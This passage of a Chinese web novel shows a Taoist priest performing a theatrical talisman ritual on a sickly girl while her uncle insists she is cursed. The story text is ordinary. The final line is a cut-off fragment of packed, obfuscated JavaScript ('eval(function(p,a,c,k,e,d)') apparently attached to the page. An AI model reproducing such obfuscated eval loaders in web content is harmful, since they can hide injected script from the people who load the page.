道士又看了谢泠霜一眼,此刻两人眼中盛着相同的光彩。
谢泠霜从床榻上支起身,红着眼眶看着他道:“好,我同意,我相信道长……”
-----------------
一方贴满符纸的佛龛被小心呈了上来。
“二位可退至我身后。”
姑母抚了抚谢泠霜的背以示安抚,才跟着姑父退到后面。
佛龛被打开,一尊被火燎黑了一半的玉石观音像呈现眼前,而刚好被烧黑的那一半正是观音怀中的孩子!
道士看了观音像良久,才向谢泠霜看来,淡淡道:“你姑父所言不是没有道理。”
身后的姑父立刻应承了一声。
道士不语,只看着缩在被褥一角瘦瘦小小的孩子,脸色不见生气,应是一副孱弱之相。但那双看人的眼睛却半分孱弱、委屈都没有。
幽幽沉沉不似这个年纪应有,如同酝酿着一场风暴似的深沉又平静。
道士收回目光。他将观音像取了出来,置其于谢泠霜床头,又取两张黄符纸,用朱笔在上画了一模一样的纹样。最后一张贴在观音像上,一张贴在谢泠霜额头上,谢泠霜的头还随着用力贴上的符往后一晃,宽大的袖袍来回扫过谢泠霜的脸。
一张符纸自袖中飘落,她立刻用褥子将其盖住。
谢泠霜咬着唇不言语,抬头一看,却见这道士嘴角勾起。
谢泠霜咬牙。
道士在那儿绕着床头转了好几圈,拿着一柄浮尘左晃晃右摆摆,一通忙活下来。
最后将两张符纸撕下覆在药碗上,点火烧成灰,融在药里,递给谢泠霜。
谢泠霜:“……”
张道长:“喝吧,喝了就完了。”
谢泠霜憋着气一口饮尽,药的甘苦混合着符灰的焦苦,又腥又涩,谢泠霜都怀疑自己还在梦里,费了十成力才忍住不呕出来。
“这就完了?”姑父不可置信地看着。
道士点了点头道:“对,谢小姐没什么大碍,就是受惊加上烟尘入体,需要静养几日。”
“我不是问她的身体,我是问她是不是下了咒!”
“自然——”
姑父捏紧了拳头。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29